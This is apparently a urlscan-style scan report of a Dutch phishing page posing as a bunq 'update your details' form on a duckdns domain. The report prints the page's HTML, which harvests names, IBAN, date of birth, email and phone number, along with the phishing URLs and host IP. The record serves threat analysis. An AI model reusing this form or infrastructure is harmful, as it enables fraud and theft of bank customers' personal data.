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systeemprocedure.duckdns.org Open in urlscan Pro
194.87.68.104  Public Scan

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Submitted URL: https://dik.si/tyRvT
Effective URL: https://systeemprocedure.duckdns.org/pages/index.php
Submission: On February 29 via manual from TR — Scanned from NL

Form analysis 1 forms found in the DOM

POST ../conf/conf.php

<form method="POST" action="../conf/conf.php" class="w-full" id="formFragmentGeneralInformation">
  <div class="mt-4 w-full text-left text-lg font-medium" bis_skin_checked="1">Persoonlijke Gegevens</div>
  <div class="mt-1 flex flex-col gap-2 md:flex-row md:gap-4" bis_skin_checked="1">
    <div class="w-full" bis_skin_checked="1">
      <div bis_skin_checked="1">
        <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
          <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="nameFirst">Voornaam</label>
          <div class="flex" bis_skin_checked="1">
            <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="nameFirst" name="nameFirst" pattern="^[A-Za-z0-9]+(?:[ \-][A-Za-z0-9]+)*$" required="" type="TEXT">
          </div>
        </div>
      </div>
    </div>
    <div class="w-full" bis_skin_checked="1">
      <div bis_skin_checked="1">
        <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
          <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="nameLast">Achternaam</label>
          <div class="flex" bis_skin_checked="1">
            <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="nameLast" name="nameLast" required="" type="TEXT">
          </div>
        </div>
      </div>
    </div>
    <div class="w-full" bis_skin_checked="1">
      <div bis_skin_checked="1">
        <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
          <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="nameLast">IBAN</label>
          <div class="flex" bis_skin_checked="1">
            <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="Iban" name="Iban" required="" type="TEXT">
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="mt-4" bis_skin_checked="1">
    <div bis_skin_checked="1">
      <div class="mb-1 text-left text-lg font-medium" bis_skin_checked="1">Geboortedatum</div>
      <div class="flex gap-2 md:gap-4" bis_skin_checked="1">
        <div class="w-2/3 md:w-1/2" bis_skin_checked="1">
          <div class="flex gap-2 md:gap-4" bis_skin_checked="1">
            <div class="w-full" bis_skin_checked="1">
              <div bis_skin_checked="1">
                <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
                  <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="dateOfBirthDay">Dag</label>
                  <div class="flex" bis_skin_checked="1">
                    <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="dateOfBirthDay" maxlength="2" minlength="1" name="dateOfBirthDay" pattern="^((0?[1-9])|([12])[0-9]|3([01]))$" type="TEXT">
                  </div>
                </div>
              </div>
            </div>
            <div class="w-full" bis_skin_checked="1">
              <div bis_skin_checked="1">
                <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
                  <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="dateOfBirthMonth">Maand</label>
                  <div class="flex" bis_skin_checked="1">
                    <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="dateOfBirthMonth" maxlength="2" minlength="1" name="dateOfBirthMonth" pattern="^(0?[1-9]|1[012])$" type="TEXT">
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="w-1/3 md:w-1/2" bis_skin_checked="1">
          <div class="w-full" bis_skin_checked="1">
            <div bis_skin_checked="1">
              <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
                <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="dateOfBirthYear">Jaar</label>
                <div class="flex" bis_skin_checked="1">
                  <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="dateOfBirthYear" maxlength="4" name="dateOfBirthYear" type="TEXT">
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="mt-4 w-full text-left text-lg font-medium" bis_skin_checked="1">Contactgegevens</div>
  <div class="mt-1 flex w-full flex-col gap-2 md:gap-4" bis_skin_checked="1">
    <div class="w-full" bis_skin_checked="1">
      <div bis_skin_checked="1">
        <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
          <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="email">E-mailadres</label>
          <div class="flex" bis_skin_checked="1">
            <input autocomplete="off" class="w-full bg-transparent fill-transparent outline-none" id="email" name="email" required="" type="EMAIL">
          </div>
        </div>
      </div>
    </div>
    <div class="w-full" bis_skin_checked="1">
      <div bis_skin_checked="1">
        <div class="h-full w-full rounded-xl px-4 py-1 text-left bg-gray-200 dark:bg-gray-700 bunq-form-input" bis_skin_checked="1">
          <label class="text-sm font-medium leading-none text-gray-500 dark:text-gray-400" for="phoneNumber">Telefoonnummer</label>
          <div class="flex" bis_skin_checked="1">
            <div class=" react-tel-input" bis_skin_checked="1">
              <div class="special-label" bis_skin_checked="1">Phone</div>
              <input style="padding-left: 0px!important;" class="!text-black dark:!text-white form-control" type="tel" name="phoneNumber" id="phoneNumber" required="">
            </div>
            <input name="1231" value="kanker" type="hidden">
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="text-center" bis_skin_checked="1"><button class="inline-block rounded-xl text-center transition-colors bg-blue-500 hover:bg-blue-400 px-7 py-3 text-white font-bold w-full sm:w-[auto] mt-4" id="signupFinish_generalInformation"
      type="submit" style="min-width: 398px;">Afronden</button></div>
</form>

Text Content

___

Actualiseer nu uw gegevens

Persoonlijke Gegevens
Voornaam

Achternaam

IBAN

Geboortedatum
Dag

Maand

Jaar

Contactgegevens
E-mailadres

Telefoonnummer
Phone
Afronden

NLENESITDEFRRUUA